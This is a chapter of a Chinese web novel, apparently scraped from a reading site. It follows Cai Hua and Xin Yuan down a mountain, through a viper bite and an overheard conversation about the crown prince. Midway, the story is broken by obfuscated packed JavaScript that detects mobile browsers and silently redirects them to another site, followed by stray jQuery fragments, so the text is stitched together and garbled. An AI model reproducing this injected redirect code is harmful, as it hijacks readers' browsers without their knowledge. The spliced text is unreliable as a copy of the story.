辛渊道:“你说什么?”
蔡画被这深黑的眼睛和冷峻的脸吓到了,暗恼自己怎么将这话说出来了。
辛渊不是真的要责难她。
“这世上谁都可以说我铁石心肠,唯独你不行,”辛渊在她面前半蹲下:“上来。”
他这是要背她?
“上来,”辛渊又说了一遍,不容置喙的语气,“路很长。”
蔡画听话的爬了上去。
辛渊托着蔡画,一步四五十个台阶。
她惊呼一声,抱紧了他的脖子。
辛渊微微侧头在她耳边说了句:“不必羡慕他们。”
她也有。
蔡画当然不知道这一层意思,也没有他说的羡慕,只是有些伤感。
她“哦”了一声。
辛渊动作极快,一炷香的功夫,眼看就要到达山下,他突然停了下来,将蔡画小心翼翼的放下来。
蔡画以为他是累了,只听辛渊转过身来,轻轻地唤了一句:“小花?”
他比她低一级台阶,俯视的高度比往常低了下,明媚的春水在他眼中荡漾,他手往前伸了下,在蔡画的手前又收了回来,姿势竟然带着一丝扭捏。
蔡画道:“嗯?”
“你今年几岁了?”
蔡画道:“啊?”
为什么突然问他这个问题,虽然他之前没问过,但一定要在这地方问嘛?
他眼睛贴在她脸上,耐心等待她说话。
蔡画满脑袋问号,还是算了下,按照人的年纪,她今年应该,“一十有六,”蔡画道。
他愉快的拍了下手掌:“是了。”
小花十岁丢失,再加上她不在的六年,就是这个时间。
蔡画更是满头问号,眼前的辛渊突然变得这么陌生,说话的语气,看人的眼神,和肢体的动作。
蔡画感觉对了,眼前的人不是辛渊,而是小白。
不过打死她她都不会想到这么奇怪的事情,一个身体里有两个魂魄。
她只觉得古怪,依旧将他当作辛渊。
小白还是拉上了蔡画的手,拉着她往下走。
小白像是沸腾的开水一样,时不时的从茶壶里冒出一点儿水汽,怕将人吓住,又要控制自己的兴奋。
他不时看两眼身边的人,想跟她说些话,该说些什么好。
他有很多问题问她,可是辛渊防止他像现在这样不受控制突然跑出来,叮嘱了他很多,头一条就是慎言。
辛渊说得不无道理,即使小白想知道许多关于她的事,想知道他不在的这些年他是怎么过的。
小白问:“小花,你家住哪里?”
蔡画道:“衡京。”
“你家里都有些什么人?”
“只有一个姨娘。”
她记得这些问题他之前问过她啊。
她斜眼看了下辛渊,发现辛渊正在看自己,她赶紧将目光收了回去。
这个氛围怎么莫名变得这么奇怪?
莫不是自己太重,把辛渊压傻了,蔡画心里膨出点自责来,不过她又没有压到他的脑子。
是不是他没力气了,背不下去她,给自己找个台阶,这也太牵强了。
手里黏糊糊的,她出汗了?
小白又问了几个问题,像是没话找话一般。
“别动!”
蔡画想得入神,听着小白的声音,凝神一瞧,前面草丛里趴着一条竹叶青,后半部分隐在草木下。
蔡画打了个哆嗦。
她自己杀过几条蛇了,可那是在危急情况下,她不得不这么做。
蓦然一见到蛇还是害怕,万一这蛇是来报仇的呢?不是报仇,是来吃她的呢?
“小花最怕蛇了。”小白把辛渊护到身后。
他的背影直愣愣地在她身前,蔡画心道,这才对,倒不是辛渊会保护她,是这种小问题,辛渊抬手就能解决。
谁知他只是护着她离竹叶青远了几步,绕开它往下走。
蔡画:“……”
不对劲儿,真的很不对劲儿,关键的是很危险,很危险,那蛇真的可能冲上来咬人。
那竹叶青果然是蔡画预想的一般,像是见到美食一般,神龙摆手的姿势和闪电的速度冲了上来。
辛渊将蔡画严严实实的挡在身后,那蛇扑起来,一下咬在了他的手上。
小白冷着脸,甩动着手臂,试图将竹叶青甩开。
蔡画惊呼间看到那条竹叶青是没有尾巴的,这不就是客栈里咬他的那条断尾竹叶青吗!
她怒从中来,拾了根棍子,打在竹叶青身上:“你这条没有尾巴的烂蛇,还敢过来!”
那蛇吃痛,松了口就逃。
蔡画这时也不怕蛇了,拿着棍子就追,生怕那蛇跑了。
要不是辛渊在这,她就化身成蛇,将那竹叶青一口吃了。
她怎么能叫一条蛇害她两次,这世上可没有这么窝囊的菜花蛇。
那竹叶青将一时跑不了,待要回嘴再来咬,也许是看到蔡画怒目圆睁的样子,也许是被菜花蛇的气息吓退,又转了方向。
蔡画一棍子下去,打到了竹叶青的尾巴,再要继续追,只听得后面虚弱的一声:“小花。”
只见辛渊两眼往上一翻,就要倒下来,她赶紧上前接住他。
竹叶青是有毒的。
他的唇色都发白了。
蔡画赶紧将辛渊的袖子捋起来,对着伤口吸出毒素。
她将辛渊放在台阶上:“督主,你怎么样了?”
回答她的是一片沉默。
蔡画望了整片山,真的是荒得不能再荒了,只有他们和那条蛇出没。
她真的很怕他死在这儿。
蔡画将唇放在竹叶青咬过的地方,一口咬了下去,唇内两个小小的尖牙扎进他的手臂里,覆盖了竹叶青咬过的地方。
不管了,她不怕毒蛇,那被她咬过,有没有可能也不怕毒蛇!
小尖牙扎进肉里,扎到硬邦邦的骨头她才收了牙齿。
气死了!
要不辛渊在这儿,翻遍整座山,她也要把那条臭蛇翻出来。
眼下最重要的是辛渊的命。
若是他死在这儿,真是说不清了,他的属下也一定不惜翻遍整座山,把她找出来。
然后由于她照顾不力,要让她给辛渊陪葬。
蔡画扶起辛渊,将他托到背上,拉着他的手臂,勉强背着。
她怎么老把自己搞到要死要活的地步。
蔡画又问候了句那条竹叶青。
一定是特别的缘分,别让她再碰见它。
蔡画拽紧辛渊的手臂,一步一步的往下走,这人平时看着不胖,怎么这么沉,一身腱子肉吗?
才走了一会儿,她就开始大喘气了。
早知道她方才就反抗辛渊了,她怎么能让他背他,他不背她,他就还是个正常人,也不至于两人现在被一条蛇难住了。
蔡画欲哭无泪,认命的往山下走。
眼见着,最后还有五六十级台阶,在深草树木的掩映下,她听到下面有说话的声音,正要呼救,就隐约听到了“太子殿下”四个字。
蔡画忙住了嘴,带着辛渊矮下身子,往后面藏。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902524|176704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她放下人,偷偷摸摸去看,吓了个激灵,说话的人竟然是香老板!
蔡画连忙捂住自己的嘴,这时辛渊悠悠转醒,蔡画又伸手,将他的嘴一起捂住了。
“是……草民办事不力……袁……已经死了,西阁……确认了,洞塌了。”
香老板说到袁这个字,脸上浮现出凄凉之色,弹指间又收了回去。
另一人好像问了句辛渊。
“那么深……洞穴,就算是跑出来,四周也是峡谷……”
他没打包票,不过意思很明显,他觉得辛渊很可能已经死了。
而且这么多天都没有消息了。
蔡画低头瞄了眼辛渊。
他眼睛弯着,好像在笑,微微动了下脸,一点点柔软擦了下蔡画的手掌心。
蔡画觉得自己的手简直要烧起来了,又不敢拿开。
还笑!
人家说你死了!
搞不好被人发现,真要死了!
蔡画瞪着眼,他的唇又动了下,她想收手,又不敢。
他就是仗着她不敢把手拿开,故意的。
好不容易等两人走了,蔡画整个人才松了下来,忙不迭的收手,一屁股坐在台阶上。
扭头就去找辛渊算账:“你故意的!”
辛渊仍旧躺在台阶上,用一侧手肘撑起半边身子,散漫地说:“我故意什么了?”
蔡画脸热着,她说不出来,说什么,亲她手,调戏她,半晌“哼”了一声。
“我是有话要跟你说。”
蔡画分走了心思:“什么话?”
辛渊又笑了下:“扶我起来。”
捉弄她!
今天的辛渊好奇怪啊,又是变脸,又是正常的。
蔡画起身,抬脚自己就往下面走。
走了几步停下,转身回来了,在辛渊面前蹲下,搭起他的手臂。
辛渊起来时,身体晃了晃,他低声说了一声:“废物。”
这句蔡画没错过,她少有的辛渊的话表示了认同。
辛渊仍是靠着她,不过没有只有小半个身子的重量,蔡画轻松多了。
她道:“督主,你怎么看?”
香老板竟然和太子殿下有关系。
辛渊道:“之前就知道了。”
他让李启铭将那些人都放了。
顺藤摸瓜,摸到一些。
蔡画讶异了下,盘算了下自己的秘密,瞥了眼辛渊。
他肯定没发现,吧。
蔡画道:“想杀你的人真多。”
还都是皇子。
辛渊道:“是啊。”
以他现在的位置,无疑是夺嫡之人的眼中钉肉中刺,除了他就等于除了皇帝的左膀右臂,皇帝退位让贤的速度加快不说,一定会被提上日程。
两人下山后走了一段,就看到了两名西阁银甲正骑马环山。
李启铭刚好也在附近,没多久就赶到了。
见到辛渊的一瞬,李启铭的眼里就有泪花闪烁了,他哽咽地喊了声“督主”。
辛渊点了下头,沉着声音说:“我知道。”
辛渊这副模样实在说不上好,蔡画解释了下:“你们督主中了蛇毒。”
“蛇毒?”李启铭茫然了下,显然,他也想不到武功高强的辛渊怎么会中蛇毒。
不过没事就好。
事发之后,西阁的人一直以往生营为基点,在附近搜索了好几天,还要控制“辛渊已死”这样的舆论。
“督主吉人自有天相。”李启铭道。
辛渊看了眼蔡画,他不是吉人,是身边有吉人。